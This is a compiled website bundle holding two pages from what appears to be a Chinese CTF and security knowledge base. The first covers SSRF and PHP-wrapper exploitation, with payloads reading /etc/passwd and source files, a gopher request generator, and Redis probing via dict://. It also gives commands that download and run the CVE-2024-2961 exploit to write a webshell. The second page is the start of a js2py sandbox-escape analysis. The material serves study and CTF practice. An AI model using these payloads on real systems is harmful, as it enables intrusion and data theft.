Fogery,\u4e2d\u6587\u542b\u4e49\u4e3a\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020\uff0c\u6f0f\u6d1e\u4ea7\u751f\u7684\u539f\u56e0\u662f\u670d\u52a1\u7aef\u63d0\u4f9b\u4e86\u80fd\u591f\u4ece\u5176\u4ed6\u670d\u52a1\u5668\u5e94\u7528\u83b7\u53d6\u6570\u636e\u7684\u529f\u80fd\uff0c\u6bd4\u5982\u4ece\u6307\u5b9a\u7684URL\u5730\u5740\u83b7\u53d6\u7f51\u9875\u5185\u5bb9\uff0c\u52a0\u8f7d\u6307\u5b9a\u5730\u5740\u7684\u56fe\u7247\u3001\u6570\u636e\u3001\u4e0b\u8f7d\u7b49\u7b49\u3002\u6f0f\u6d1eURL\u793a\u4f8b: ",(0,p.jsx)(n.a,{href:"http://xxx.com/api/readFiles?url=http://10.1.11/xxx",children:"http://xxx.com/api/readFiles?url=http://10.1.11/xxx"})]}),"\n",(0,p.jsx)(n.h2,{id:"\u6f0f\u6d1e\u5229\u7528",children:"\u6f0f\u6d1e\u5229\u7528"}),"\n",(0,p.jsx)(n.h3,{id:"\u5185\u7f51\u8bbf\u95ee",children:"\u5185\u7f51\u8bbf\u95ee"}),"\n",(0,p.jsx)(n.p,{children:"\u4f7f\u7528http\u534f\u8bae\u5bf9\u5185\u7f51\u7684Web\u5e94\u7528\u8fdb\u884c\u8bbf\u95ee"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"?url=http://127.0.0.1/flag.php\n"})}),"\n",(0,p.jsx)(n.h3,{id:"php\u4f2a\u534f\u8bae\u5229\u7528",children:"PHP\u4f2a\u534f\u8bae\u5229\u7528"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{className:"language-php",children:"file:// \u2014 \u8bbf\u95ee\u672c\u5730\u6587\u4ef6\u7cfb\u7edf\nhttp:// \u2014 \u8bbf\u95ee HTTP(s) \u7f51\u5740\nftp:// \u2014 \u8bbf\u95ee FTP(s) URLs\nphp:// \u2014 \u8bbf\u95ee\u5404\u4e2a\u8f93\u5165/\u8f93\u51fa\u6d41\uff08I/O streams\uff09\nzlib:// \u2014 \u538b\u7f29\u6d41\ndata:// \u2014 \u6570\u636e\uff08RFC 2397\uff09\nglob:// \u2014 \u67e5\u627e\u5339\u914d\u7684\u6587\u4ef6\u8def\u5f84\u6a21\u5f0f\nphar:// \u2014 PHP \u5f52\u6863\nssh2:// \u2014 Secure Shell 2\nrar:// \u2014 RAR\nogg:// \u2014 \u97f3\u9891\u6d41\nexpect:// \u2014 \u5904\u7406\u4ea4\u4e92\u5f0f\u7684\u6d41\ndict:// - dict\n"})}),"\n",(0,p.jsx)(n.h4,{id:"1php\u534f\u8bae",children:"1.php://\u534f\u8bae"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"php://filter\nphp://input\n"})}),"\n",(0,p.jsx)(n.h5,{id:"phpfilter",children:"php://filter"}),"\n",(0,p.jsx)(n.p,{children:"\u5728allow_url_fopen\uff0callow_url_include\u90fd\u5173\u95ed\u7684\u60c5\u51b5\u4e0b\u53ef\u4ee5\u6b63\u5e38\u4f7f\u7528\uff0c\u4e3b\u8981\u7528\u4e8e\u8bfb\u53d6\u6e90\u4ee3\u7801\u5e76\u8fdb\u884cbase64\u7f16\u7801\u8f93\u51fa\u3002\npayload\u5982\u4e0b\uff1a"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"php://filter/read=convert.base64-encode/resource=upload.php\n"})}),"\n",(0,p.jsxs)(n.p,{children:["\u5229\u7528",(0,p.jsx)(n.code,{children:"CVE-2024-2961"}),"\u53efRCE"]}),"\n",(0,p.jsx)(n.h5,{id:"phpinput",children:"php://input"}),"\n",(0,p.jsx)(n.p,{children:"\u8bbf\u95ee\u5404\u4e2a\u8f93\u5165/\u8f93\u51fa\u6d41\u3002CTF\u4e2d\u7ecf\u5e38\u4f7f\u7528file_get_contents\u83b7\u53d6php://input\u5185\u5bb9(POST)\uff0c\u9700\u8981\u5f00\u542fallow_url_include\uff0c\u5e76\u4e14\u5f53enctype=\u201dmultipart/form-data\u201d\u7684\u65f6\u5019 php://input\u662f\u65e0\u6548\u7684\u3002"}),"\n",(0,p.jsx)(n.h5,{id:"phpoutput",children:"php://output"}),"\n",(0,p.jsx)(n.p,{children:"php://output \u662f\u4e00\u4e2a\u53ea\u5199\u7684\u6570\u636e\u6d41\uff0c \u5141\u8bb8\u4f60\u4ee5 print \u548c echo \u4e00\u6837\u7684\u65b9\u5f0f \u5199\u5165\u5230\u8f93\u51fa\u7f13\u51b2\u533a\u3002"}),"\n",(0,p.jsx)(n.h5,{id:"phpmemoryphptemp",children:"php://memory&php://temp"}),"\n",(0,p.jsx)(n.p,{children:"php://memory \u548c php://temp \u662f\u4e00\u4e2a\u7c7b\u4f3c\u6587\u4ef6 \u5305\u88c5\u5668\u7684\u6570\u636e\u6d41\uff0c\u5141\u8bb8\u8bfb\u5199\u4e34\u65f6\u6570\u636e\u3002 \u4e24\u8005\u7684\u552f\u4e00\u533a\u522b\u662f php://memory \u603b\u662f\u628a\u6570\u636e\u50a8\u5b58\u5728\u5185\u5b58\u4e2d\uff0c \u800c php://temp \u4f1a\u5728\u5185\u5b58\u91cf\u8fbe\u5230\u9884\u5b9a\u4e49\u7684\u9650\u5236\u540e\uff08\u9ed8\u8ba4\u662f 2MB\uff09\u5b58\u5165\u4e34\u65f6\u6587\u4ef6\u4e2d\u3002 \u4e34\u65f6\u6587\u4ef6\u4f4d\u7f6e\u7684\u51b3\u5b9a\u548c sys_get_temp_dir() \u7684\u65b9\u5f0f\u4e00\u81f4\u3002\nphp://temp \u7684\u5185\u5b58\u9650\u5236\u53ef\u901a\u8fc7\u6dfb\u52a0 /maxmemory:NN \u6765\u63a7\u5236\uff0cNN \u662f\u4ee5\u5b57\u8282\u4e3a\u5355\u4f4d\u3001\u4fdd\u7559\u5728\u5185\u5b58\u7684\u6700\u5927\u6570\u636e\u91cf\uff0c\u8d85\u8fc7\u5219\u4f7f\u7528\u4e34\u65f6\u6587\u4ef6\u3002"}),"\n",(0,p.jsx)(n.h5,{id:"phpfd",children:"php://fd"}),"\n",(0,p.jsx)(n.h4,{id:"2file\u534f\u8bae",children:"2.file://\u534f\u8bae"}),"\n",(0,p.jsx)(n.p,{children:"file://\uff1a\u7528\u4e8e\u8bbf\u95ee\u672c\u5730\u6587\u4ef6\u7cfb\u7edf\uff0c\u5e76\u4e14\u4e0d\u53d7allow_url_fopen\uff0callow_url_include\u5f71\u54cd\uff0cfile://\u8fd8\u7ecf\u5e38\u548ccurl\u51fd\u6570(SSRF)\u7ed3\u5408\u5728\u4e00\u8d77\u3002\u4f8b\u5b50\u4e00\uff0c\u4f8b\u5b50\u4e8c\n\u4f7f\u7528\u65b9\u6cd5\uff1a"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"file:// [\u6587\u4ef6\u7684\u7edd\u5bf9\u8def\u5f84\u548c\u6587\u4ef6\u540d]\nfile:///etc/passwd\n"})}),"\n",(0,p.jsx)(n.p,{children:"ssrf poc gopher"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:'import urllib.parse\n\na = \\\n"""POST /index.php HTTP/1.1\nHost: 127.0.0.2:8080\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nContent-Type: multipart/form-data; boundary=---------------------------21311722966185605194227162997\nContent-Length: 365\nConnection: close\nUpgrade-Insecure-Requests: 1\n\n-----------------------------21311722966185605194227162997\nContent-Disposition: form-data; name="upfile"; filename="cmd.png"\nContent-Type: image/png\n\n\n\n-----------------------------21311722966185605194227162997\nContent-Disposition: form-data; name="submit"\n\n\u4e0a\u4f20\n-----------------------------21311722966185605194227162997--\n"""\n\ntmp = urllib.parse.quote(a)\nb = tmp.replace(\'%0A\',\'%0D%0A\')\nres = \'_\'+b\nprint("gopher://127.0.0.2:8080/"+res)\n'})}),"\n",(0,p.jsx)(n.h4,{id:"3phar\u534f\u8bae",children:"3.phar://\u534f\u8bae"}),"\n",(0,p.jsx)(n.p,{children:"phar://\uff1aPHP \u5f52\u6863\uff0c\u5e38\u5e38\u8ddf\u6587\u4ef6\u5305\u542b\uff0c\u6587\u4ef6\u4e0a\u4f20\u7ed3\u5408\u7740\u8003\u5bdf\u3002\u5f53\u6587\u4ef6\u4e0a\u4f20\u4ec5\u4ec5\u6821\u9a8cmime\u7c7b\u578b\u4e0e\u6587\u4ef6\u540e\u7f00\uff0c\u53ef\u4ee5\u901a\u8fc7\u4ee5\u4e0b\u547d\u4ee4\u8fdb\u884c\u5229\u7528\u3002\u4f8b\u5b50\u4e00"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"nac.php(\u6728\u9a6c)->\u538b\u7f29->nac.zip->\u6539\u540e\u7f00->nac.jpg->\u4e0a\u4f20->phar://nac.jpg/nac.php\n"})}),"\n",(0,p.jsx)(n.h4,{id:"4zlib\u534f\u8bae",children:"4.zlib://\u534f\u8bae"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"zip://\uff1a\u5728allow_url_fopen\uff0callow_url_include\u90fd\u5173\u95ed\u7684\u60c5\u51b5\u4e0b\u53ef\u4ee5\u6b63\u5e38\u4f7f\u7528\uff0c\u4f7f\u7528\u5982\u4e0b\uff1a\n\nfile.php?file=zip://[\u538b\u7f29\u6587\u4ef6\u7edd\u5bf9\u8def\u5f84]#[\u538b\u7f29\u6587\u4ef6\u5185\u7684\u5b50\u6587\u4ef6\u540d]\nfile.php?file=zip://nac.jpg#nac.php \u5176\u4e2dget\u8bf7\u6c42\u4e2d#\u9700\u8981\u8fdb\u884c\u7f16\u7801\uff0c\u5373%23\n"})}),"\n",(0,p.jsx)(n.p,{children:"bzip2://\uff1a\u5728allow_url_fopen\uff0callow_url_include\u90fd\u5173\u95ed\u7684\u60c5\u51b5\u4e0b\u53ef\u4ee5\u6b63\u5e38\u4f7f\u7528\uff0c\u4f7f\u7528\u5982\u4e0b\uff1a"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"file.php?file=compress.bzip2://nac.bz2\nfile.php?file=compress.bzip2://./nac.jpg\nfile.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg\n"})}),"\n",(0,p.jsx)(n.p,{children:"zlib://\uff1a\u5728allow_url_fopen\uff0callow_url_include\u90fd\u5173\u95ed\u7684\u60c5\u51b5\u4e0b\u53ef\u4ee5\u6b63\u5e38\u4f7f\u7528\uff0c\u4f7f\u7528\u5982\u4e0b\uff1a"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"file.php?file=compress.zlib://file.gz\nfile.php?file=compress.zlib://./nac.jpg\nfile.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg\n"})}),"\n",(0,p.jsx)(n.h4,{id:"5data\u534f\u8bae",children:"5.data://\u534f\u8bae"}),"\n",(0,p.jsx)(n.p,{children:"data://\uff1a\u9700\u6ee1\u8db3allow_url_fopen\uff0callow_url_include\u540c\u65f6\u5f00\u542f\u624d\u80fd\u4f7f\u7528\uff0c\u4f7f\u7528\u5982\u4e0b\uff1a"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"file.php?file=data://text/plain,\nfile.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=\nfile.php?file=data:text/plain,\nfile.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=\n"})}),"\n",(0,p.jsx)(n.h4,{id:"6phar\u548czip",children:"6.phar\u548czip"}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsx)(n.a,{href:"https://kit4y.github.io/2020/01/04/phar-de-li-yong-zi-shi/",children:"https://kit4y.github.io/2020/01/04/phar-de-li-yong-zi-shi/"})}),"\n",(0,p.jsx)(n.h3,{id:"cve-2024-2961",children:"CVE-2024-2961"}),"\n",(0,p.jsxs)(n.p,{children:["\u5229\u7528",(0,p.jsx)(n.code,{children:"php://filter"}),"\u548c",(0,p.jsx)(n.code,{children:"iconv()"}),"\u51fd\u65702.39\u8fdb\u884cRCE"]}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsx)(n.a,{href:"https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md",children:"https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md"})}),"\n",(0,p.jsxs)(n.p,{children:["\u5728\u4f7f\u7528\u539f\u4f5c\u8005\u7ed9\u51fa\u7684",(0,p.jsx)(n.a,{href:"https://github.com/ambionics/cnext-exploits",children:"exploit"}),"\u524d\uff0c\u4f60\u9700\u8981\u51c6\u5907\u4e00\u4e2aLinux\u73af\u5883\u548cPython 3.10\u89e3\u91ca\u5668\u3002"]}),"\n",(0,p.jsx)(n.p,{children:"\u5b89\u88c5\u4f9d\u8d56\uff1a"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"pip install pwntools\npip install https://github.com/cfreal/ten/archive/refs/heads/main.zip\n"})}),"\n",(0,p.jsxs)(n.p,{children:["\u7136\u540e\u4ece",(0,p.jsx)(n.a,{href:"https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py",children:"cnext-exploit"}),"\u4e0b\u8f7dPOC\u5e76\u6267\u884c\uff1a"]}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py\npython cnext-exploit.py http://your-ip:8080/index.php \"echo '' > shell.php\"\n"})}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191642389.png",alt:"1"})}),"\n",(0,p.jsxs)(n.p,{children:["\u53ef\u89c1\uff0c\u6211\u4eec\u5df2\u7ecf\u6210\u529f\u5199\u5165",(0,p.jsx)(n.code,{children:"shell.php"}),"\uff1a"]}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191642390.png",alt:"2"})}),"\n",(0,p.jsx)(n.h3,{id:"gopher",children:"Gopher"}),"\n",(0,p.jsxs)(n.p,{children:[(0,p.jsx)(n.strong,{children:"gopher"}),"\uff1agopher\u534f\u8bae\u652f\u6301\u53d1\u51faGET\u3001POST\u8bf7\u6c42\uff1a\u53ef\u4ee5\u5148\u622a\u83b7get\u8bf7\u6c42\u5305\u548cpost\u8bf7\u6c42\u5305\uff0c\u518d\u6784\u9020\u6210\u7b26\u5408gopher\u534f\u8bae\u7684\u8bf7\u6c42\u3002gopher\u534f\u8bae\u662fssrf\u5229\u7528\u4e2d\u4e00\u4e2a\u6700\u5f3a\u5927\u7684\u534f\u8bae\uff08\u4fd7\u79f0\u4e07\u80fd\u534f\u8bae\uff09\u3002"]}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsxs)(n.strong,{children:["\u516c\u7f51IP\u7684VPS\u76d1\u542c ",(0,p.jsx)(n.code,{children:"2333"})," \u7aef\u53e3"]})}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"[root@host ~]# nc -lvp 2333\nNcat: Version 6.40 ( http://nmap.org/ncat )\nNcat: Listening on :::2333\nNcat: Listening on 0.0.0.0:2333\n"})}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsx)(n.strong,{children:"\u5229\u7528 gopher \u534f\u8bae\u8bbf\u95ee"})}),"\n",(0,p.jsxs)(n.p,{children:["\u6d4f\u89c8\u5668\u76f4\u63a5\u8bbf\u95ee\u6216\u8005\u7528 ",(0,p.jsx)(n.code,{children:"curl url"})]}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"http://127.0.0.1/ssrf.php?url=gopher://66.112.213.76:2333/_hello\n"})}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsx)(n.strong,{children:"\u6536\u5230\u56de\u663e"})}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"[root@host ~]# nc -lvp 2333\nNcat: Version 6.40 ( http://nmap.org/ncat )\nNcat: Listening on :::2333\nNcat: Listening on 0.0.0.0:2333\nNcat: Connection from 183.xxx.xxx.xxx.\nNcat: Connection from 183.xxx.xxx.xxx:9661.\nhello\n"})}),"\n",(0,p.jsx)(n.h3,{id:"dict",children:"Dict"}),"\n",(0,p.jsxs)(n.p,{children:["\u56e0\u4e3a\u6b64\u5904 ",(0,p.jsx)(n.code,{children:"ssrf.php"})," \u7684\u6f0f\u6d1e\u4ee3\u7801\u6709\u56de\u663e\uff0c\u6240\u4ee5\u6d4f\u89c8\u5668\u76f4\u63a5\u8bbf\u95ee"]}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:6379/info\n"})}),"\n",(0,p.jsx)(n.p,{children:"\u6216\u8005\u7ec8\u7aef"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"curl http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:6379/info\n"})}),"\n",(0,p.jsx)(n.p,{children:"\u53ef\u4ee5\u83b7\u53d6Redis\u7684\u914d\u7f6e\u4fe1\u606f"}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191642391.png",alt:"Redis\u914d\u7f6e"})}),"\n",(0,p.jsx)(n.p,{children:"\u540c\u7406\u4e5f\u53ef\u4ee5\u6dfb\u52a0\u6216\u8005\u67e5\u770bRedis\u7684\u4fe1\u606f"}),"\n",(0,p.jsx)(n.p,{children:"\u67e5\u770bRedis\u5b58\u50a8\u7684\u5185\u5bb9"}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191642393.png",alt:"2"})}),"\n",(0,p.jsx)(n.h3,{id:"cve-2021-21287",children:"CVE-2021-21287"}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsx)(n.a,{href:"https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html",children:"https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html"})}),"\n",(0,p.jsx)(n.h1,{id:"reference",children:"Reference"}),"\n",(0,p.jsxs)(n.ul,{children:["\n",(0,p.jsx)(n.li,{children:(0,p.jsx)(n.a,{href:"https://marmalade.vip/phpweixieyizongjie.html#toc-heading-2",children:"https://marmalade.vip/phpweixieyizongjie.html#toc-heading-2"})}),"\n",(0,p.jsx)(n.li,{children:(0,p.jsx)(n.a,{href:"https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html",children:"https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html"})}),"\n"]})]})}function o(e={}){const{wrapper:n}={...(0,t.R)(),...e.components};return n?(0,p.jsx)(n,{...e,children:(0,p.jsx)(d,{...e})}):d(e)}},28453:(e,n,i)=>{i.d(n,{R:()=>h,x:()=>r});var l=i(96540);const p={},t=l.createContext(p);function h(e){const n=l.useContext(t);return l.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function r(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(p):e.components||p:h(e.components),l.createElement(t.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/f809c367.bb5513ab.js b/en/assets/js/f809c367.bb5513ab.js new file mode 100644 index 0000000..4583093 --- /dev/null +++ b/en/assets/js/f809c367.bb5513ab.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[247],{7954:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/eca2ceab4a2e8483ad4416c424a9111d-59de62547ef850bb9db0075867f2dc8f.png"},16335:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/8d21ef7a38064f02f76316ab1c70c1b0-d83a1cf1196f176519ebce1b51765c44.png"},22619:(e,s,n)=>{n.r(s),n.d(s,{assets:()=>r,contentTitle:()=>i,default:()=>p,frontMatter:()=>d,metadata:()=>t,toc:()=>l});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397","title":"JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/04.JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/04.JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397.md","tags":[],"version":"current","sidebarPosition":4,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa"},"next":{"title":"Handlebars-AST\u6ce8\u5165","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/Handlebars-AST\u6ce8\u5165"}}');var c=n(74848),a=n(28453);const d={},i="JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397",r={},l=[{value:"0x01 \u73af\u5883",id:"0x01-\u73af\u5883",level:2},{value:"0x02 \u524d\u6cbf",id:"0x02-\u524d\u6cbf",level:2},{value:"0x03 \u5206\u6790",id:"0x03-\u5206\u6790",level:2},{value:"0x04 POC",id:"0x04-poc",level:2}];function o(e){const s={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,a.R)(),...e.components};return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsxs)(s.table,{children:[(0,c.jsx)(s.thead,{children:(0,c.jsxs)(s.tr,{children:[(0,c.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,c.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,c.jsx)(s.tbody,{children:(0,c.jsxs)(s.tr,{children:[(0,c.jsx)(s.td,{style:{textAlign:"left"},children:(0,c.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,c.jsx)(s.td,{style:{textAlign:"left"},children:"2024-06-23 01:02:22"})]})})]}),"\n",(0,c.jsx)(s.header,{children:(0,c.jsx)(s.h1,{id:"js2py\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61cve-2024-28397",children:"JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397"})}),"\n",(0,c.jsx)(s.h2,{id:"0x01-\u73af\u5883",children:"0x01 \u73af\u5883"}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{className:"language-sh",children:"pip install js2py <= 0.74 #latest\n"})}),"\n",(0,c.jsx)(s.h2,{id:"0x02-\u524d\u6cbf",children:"0x02 \u524d\u6cbf"}),"\n",(0,c.jsxs)(s.p,{children:["\u65e0\u610f\u5728git\u4e0a\u770b\u5230\u4e00\u4e2a\u5173\u4e8e ",(0,c.jsx)(s.a,{href:"https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape",children:"CVE-2024-28397"})," \u7684POC\uff0cjs2py\u5b58\u5728\u4e00\u4e2a\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u4f7f\u7528\u8fd9\u4e2a\u6f0f\u6d1e\u5728js\u4ee3\u7801\u4e2d\u83b7\u5f97\u4e00\u4e2apython\u5bf9\u8c61\u7684\u5f15\u7528\uff0c\u4f7f\u5f97\u653b\u51fb\u8005\u53ef\u4ee5\u9003\u9038js\u73af\u5883\uff0c\u5728\u4e3b\u673a\u4e0a\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002\u7528\u6237\u4e00\u822c\u4f1a\u8c03\u7528",(0,c.jsx)(s.code,{children:"js2py.disable_pyimport()"}),"\u963b\u6b62JS\u4ee3\u7801\u4f7f\u7528",(0,c.jsx)(s.code,{children:"pyimport"}),"\u8c03\u7528python\u6a21\u5757\uff0c\u4ece\u800c\u9632\u6b62\u4ee3\u7801\u6c99\u76d2\u9003\u9038\u3002\u4f46\u662f\u4f7f\u7528\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u7ed5\u8fc7\u8fd9\u4e2a\u9650\u5236\uff0c\u5728\u4e3b\u673a\u4e0a\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002"]}),"\n",(0,c.jsx)(s.h2,{id:"0x03-\u5206\u6790",children:"0x03 \u5206\u6790"}),"\n",(0,c.jsxs)(s.p,{children:["\u6839\u636e\u63d0\u4f9b\u7684\u4ee3\u7801\uff0c\u53d1\u73b0",(0,c.jsx)(s.code,{children:"Object.getOwnPropertyNames({}).__class__.__base__"}),"\uff0c\u5373\u53ef\u83b7\u53d6\u5230\u4e00\u4e2a",(0,c.jsx)(s.strong,{children:"\u6839\u5bf9\u8c61"}),"\uff0c\u90a3\u4e48\u8fd9\u662f\u5982\u4f55\u5f97\u5230\u7684\u5462"]}),"\n",(0,c.jsx)(s.p,{children:"\u6211\u4eec\u53ef\u4ee5\u5199\u4e00\u4e2a\u4ee3\u7801\u8fdb\u884c\u8c03\u8bd5"}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{className:"language-py",children:'import js2py\npayload_2 = """console.log(Object.getOwnPropertyNames({}).__class__.__base__)"""\njs2py.eval_js(payload_2)\n'})}),"\n",(0,c.jsxs)(s.p,{children:["\u6574\u6bb5\u4ee3\u7801\u4f1a\u88ab",(0,c.jsx)(s.code,{children:"self.code(*args)"}),"\u53bb\u6267\u884c\u8c03\u7528\uff0c\u4ed6\u7684\u89e3\u6790\u987a\u5e8f\u662f\u4ece\u5de6\u5f80\u53f3",(0,c.jsx)(s.code,{children:"console\u3001.log()\u3001Object ......"})]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"f7c83fc40db51c0676aa220a6b4263fd",src:n(48767).A+"",width:"2862",height:"1698"})}),"\n",(0,c.jsxs)(s.p,{children:["\u5e76\u4e14\u4f9d\u6b21\u8c03\u7528",(0,c.jsx)(s.code,{children:"PyJs.get(self, prop)"}),"\uff0c\u83b7\u53d6\u5bf9\u5e94\u7684\u5bf9\u8c61\u3002"]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"650f67657bc934405a122dcf131189ee",src:n(55927).A+"",width:"1466",height:"560"})}),"\n",(0,c.jsxs)(s.p,{children:["\u90a3\u4e48\u8fd9\u4e2a",(0,c.jsx)(s.code,{children:"Object.getOwnPropertyNames({})"}),"\u662f\u4e2a\u5565\u5462\uff0c\u6211\u4eec\u8ddf\u8fdb\u53d1\u73b0\uff0c\u5b83\u5176\u5b9e\u5c31\u662f\u4e00\u4e2a\u65b9\u6cd5\u7528\u4e8e\u83b7\u53d6\uff0c\u7684\u6240\u6709 ",(0,c.jsx)(s.code,{children:"keys()"}),"\uff0c\u90a3\u4e48\u5927\u6982\u7387\uff0c\u8fd9\u91cc\u8fd4\u56de\u7684\u5bf9\u8c61\u5c31\u4e3a",(0,c.jsx)(s.code,{children:"dict"}),"\u5bf9\u8c61"]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"a712fa934ad208f15e46e3adf758eaa3",src:n(96412).A+"",width:"1778",height:"594"})}),"\n",(0,c.jsxs)(s.p,{children:["\u6b64\u65f6",(0,c.jsx)(s.code,{children:"own.keys()"})," \u8fd4\u56de\u7684\u5bf9\u8c61 \u4e3a 